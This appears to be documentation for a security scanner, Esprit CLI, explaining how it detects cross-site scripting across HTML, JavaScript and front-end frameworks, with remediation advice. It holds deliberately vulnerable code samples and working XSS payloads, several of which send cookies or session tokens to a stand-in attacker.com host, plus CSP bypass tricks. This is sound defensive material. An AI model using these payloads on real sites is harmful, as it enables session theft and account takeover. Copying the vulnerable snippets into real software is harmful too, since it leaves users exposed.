Esprit CLI detects cross-site scripting vulnerabilities across HTML, JavaScript, and framework-specific contexts. XSS persists because context, parser, and framework edges are complex.
Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).
Attack Surface Coverage
XSS Types
Reflected XSS - Input immediately rendered in response
Stored XSS - Payload persisted and rendered to other users
DOM-based XSS - Client-side JavaScript sinks without server involvement
Contexts Analyzed
Esprit understands injection in:
HTML text nodes
Attribute values (quoted and unquoted)
URL parameters and fragments
JavaScript strings and eval contexts
CSS style blocks
SVG/MathML markup
Markdown and rich text
PDF generation
Framework Support
React (dangerouslySetInnerHTML, JSX props)
Vue (v-html, dynamic attributes)
Angular (expression injection, $sce)
Svelte ({@html}, dynamic attributes)
Template engines (Jinja, EJS, Handlebars)
Injection Points
Esprit traces data flow from sources to dangerous sinks:
Server Render Sources
// Vulnerable: Template rendering
app . get ( '/profile' , ( req , res ) => {
const name = req . query . name ;
res . send ( `<h1>Welcome ${ name } </h1>` ); // XSS!
});
// EJS template - VULNERABLE
< div > <%- user.bio %> </ div > // Unescaped
// Jinja template - VULNERABLE
< p > { { user_input | safe } } </ p >
Client Render Sinks
// VULNERABLE: Direct innerHTML assignment
const q = new URLSearchParams ( location . search ). get ( 'q' );
results . innerHTML = `<li> ${ q } </li>` ;
// VULNERABLE: React dangerouslySetInnerHTML
function Comment ({ text }) {
return < div dangerouslySetInnerHTML = { { __html: text } } /> ;
}
// VULNERABLE: Vue v-html
< div v-html = "userContent" ></ div >
// VULNERABLE: Svelte @html
< div > { @ html userMarkdown } </ div >
DOM-Based Sources
// Common DOM XSS sources Esprit tracks:
- location . hash / location . search
- document . referrer
- postMessage payloads
- localStorage / sessionStorage
- document . cookie
- WebSocket messages
Context-Specific Detection
Esprit tailors payloads to the exact context:
HTML Node Context
<!-- Vulnerable: User input in text node -->
< p > Search results for: USER_INPUT </ p >
<!-- Exploitation -->
< p > Search results for: < img src = x onerror = alert ( document . domain ) ></ p >
Attribute Context
<!-- Vulnerable: Unescaped attribute -->
< input value = "USER_INPUT" >
<!-- Exploitation -->
< input value = "" autofocus onfocus = alert ( 1 ) x = "" >
<!-- Unquoted attributes -->
< div class = USER_INPUT >
<!-- Exploitation -->
< div class = x onmouseover = alert ( 1 ) >
JavaScript Context
// Vulnerable: String interpolation in script
< script >
var query = "USER_INPUT";
</ script >
// Exploitation
< script >
var query = ""; alert(document.cookie); //";
</ script >
URL Context
<!-- Vulnerable: User input in href -->
< a href = "USER_INPUT" > Click </ a >
<!-- Exploitation -->
< a href = "javascript:fetch('//attacker.com?c='+document.cookie)" > Click </ a >
Esprit validates that user input in URL attributes are limited to safe schemes (https, mailto, tel) and disallows javascript: and data: URIs.
Framework-Specific Vulnerabilities
React XSS
// Vulnerable: dangerouslySetInnerHTML
function UserBio ({ bio }) {
return (
< div dangerouslySetInnerHTML = { { __html: bio } } />
);
}
// Vulnerable: Unsanitized URL
function ProfileLink ({ url }) {
return < a href = { url } > Profile </ a > ; // javascript: URL possible
}
// Vulnerable: Event handler from props
function Button ({ onClick }) {
return < button onClick = { onClick } > Click </ button > ;
// If onClick comes from untrusted source
}
Esprit detection: Traces bio and url props to their sources and validates sanitization.
Vue XSS
<!-- Vulnerable: v-html directive -->
< template >
< div v-html = " userComment " ></ div >
</ template >
<!-- Vulnerable: Dynamic attribute binding -->
< a : href = " userLink " > Link </ a >
<!-- Vulnerable: SSR hydration mismatch -->
< div v-pre v-html = " serverHtml " ></ div >
Angular XSS
// Vulnerable: Bypassing sanitizer
constructor ( private sanitizer : DomSanitizer ) {}
getSafeHtml ( html : string ) {
return this . sanitizer . bypassSecurityTrustHtml ( html ); // Dangerous if html is user input
}
// Legacy AngularJS - VULNERABLE
< div ng - bind - html = "userContent" > </ div >
{{ constructor . constructor ( 'alert(1)' )(}} // Expression injection
Advanced Attack Techniques
Mutation XSS (mXSS)
Leverage parser repairs to morph safe-looking markup:
<!-- Input appears safe -->
< noscript >< p title = " < /noscript> < img src=x onerror=alert(1)>
< !-- After browser parsing -->
< noscript> < p title=" " ></ noscript >< img src = x onerror = alert ( 1 ) >
Template Injection
// Vulnerable: Server-side template
const Handlebars = require ( 'handlebars' );
const template = Handlebars . compile ( 'Hello {{name}}' );
res . send ( template ({ name: req . query . name }));
// Exploitation with helper abuse
{{ constructor . constructor ( 'fetch("//attacker.com?c="+document.cookie)' )()}}
CSP Bypass
Esprit tests CSP configurations:
// Weak CSP
Content - Security - Policy : script - src 'self' * . googleapis . com 'unsafe-inline'
// Bypass via JSONP endpoint
< script src = "https://accounts.google.com/o/oauth2/revoke?callback=alert" ></ script >
// Bypass via base tag
< base href = "https://attacker.com" >
< script src = "/trusted.js" ></ script > // Loads from attacker.com
Weak CSP policies: missing nonces/hashes, wildcards in script-src, data:/blob: allowed, unsafe-inline, unsafe-eval
Trusted Types Bypass
// Misconfigured Trusted Types policy
if ( window . trustedTypes ) {
trustedTypes . createPolicy ( 'default' , {
createHTML : ( input ) => input // No sanitization!
});
}
Example Scenarios
Scenario 1: Search Reflected XSS
// Vulnerable code: src/routes/search.js:23
app . get ( '/search' , ( req , res ) => {
const query = req . query . q ;
res . send ( `
<html>
<body>
<h1>Results for: ${ query } </h1>
<div id="results"></div>
</body>
</html>
` );
});
Exploitation:
curl 'http://app.com/search?q=<img+src=x+onerror=alert(document.domain)>'
Impact: Session hijacking via cookie theft, credential phishing
Scenario 2: DOM-Based XSS
// Vulnerable code: src/public/app.js:112
function displayNotification () {
const msg = new URLSearchParams ( location . search ). get ( 'message' );
document . getElementById ( 'notification' ). innerHTML = msg ;
}
Exploitation:
http://app.com/?message=<svg/onload=fetch('//attacker.com/steal?c='+document.cookie)>
Impact: Token exfiltration, account takeover
// Vulnerable code: src/components/Comment.jsx:45
function Comment ({ text , author }) {
return (
< div className = "comment" >
< strong > { author } </ strong >
< div dangerouslySetInnerHTML = { { __html: text } } />
</ div >
);
}
Exploitation:
Post comment with payload:
< img src = x onerror = "
fetch ('/api/users/me'). then ( r => r . json ()). then ( u =>
fetch (' //attacker.com/collect?token='+u.token)
)
" >
Impact: All users viewing the comment have tokens exfiltrated
Esprit recommends:
Use Framework Auto-Escaping
// SAFE: React auto-escapes by default
function Welcome ({ name }) {
return < h1 > Welcome { name } </ h1 > ;
}
// SAFE: Vue templates auto-escape
< template >
< p > { { userInput } } </ p >
</ template >
// SAFE: EJS escaped output
< div > <%= user.bio %> </ div >
// SAFE: Use DOMPurify for rich text
import DOMPurify from 'dompurify' ;
function RichContent ({ html }) {
const clean = DOMPurify . sanitize ( html , {
ALLOWED_TAGS: [ 'b' , 'i' , 'em' , 'strong' , 'a' , 'p' ],
ALLOWED_ATTR: [ 'href' ]
});
return < div dangerouslySetInnerHTML = { { __html: clean } } /> ;
}
Validate URL Schemes
// SAFE: Whitelist URL schemes
function isValidUrl ( url ) {
try {
const parsed = new URL ( url );
return [ 'http:' , 'https:' , 'mailto:' ]. includes ( parsed . protocol );
} catch {
return false ;
}
}
function Link ({ href , children }) {
const safeHref = isValidUrl ( href ) ? href : '#' ;
return < a href = { safeHref } > { children } </ a > ;
}
Implement Strong CSP
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'nonce-{random}';
img-src 'self' https:;
object-src 'none';
base-uri 'self';
Use Trusted Types
// Enable Trusted Types
if ( window . trustedTypes && trustedTypes . createPolicy ) {
trustedTypes . createPolicy ( 'default' , {
createHTML : ( string ) => DOMPurify . sanitize ( string )
});
}
Esprit validates CSP and Trusted Types configurations, testing for common bypass techniques.
Detection Output
Esprit provides context-aware findings:
[HIGH] DOM-based XSS in notification handler
Location: src/public/app.js:112
Context: innerHTML sink
Source: location.search
Data Flow:
location.search → URLSearchParams.get('message') → innerHTML
Vulnerable Code:
document.getElementById('notification').innerHTML = msg;
Proof:
URL: /?message=<img+src=x+onerror=alert(1)>
Result: Script execution confirmed
Impact:
- Session token exfiltration
- Credential phishing overlay
- Persistent compromise via service workers
Remediation:
Use textContent instead of innerHTML:
document.getElementById('notification').textContent = msg;
Or sanitize with DOMPurify:
document.getElementById('notification').innerHTML =
DOMPurify.sanitize(msg);
Next Steps
SQL Injection Detect database injection vulnerabilities
Authentication Find JWT and session security issues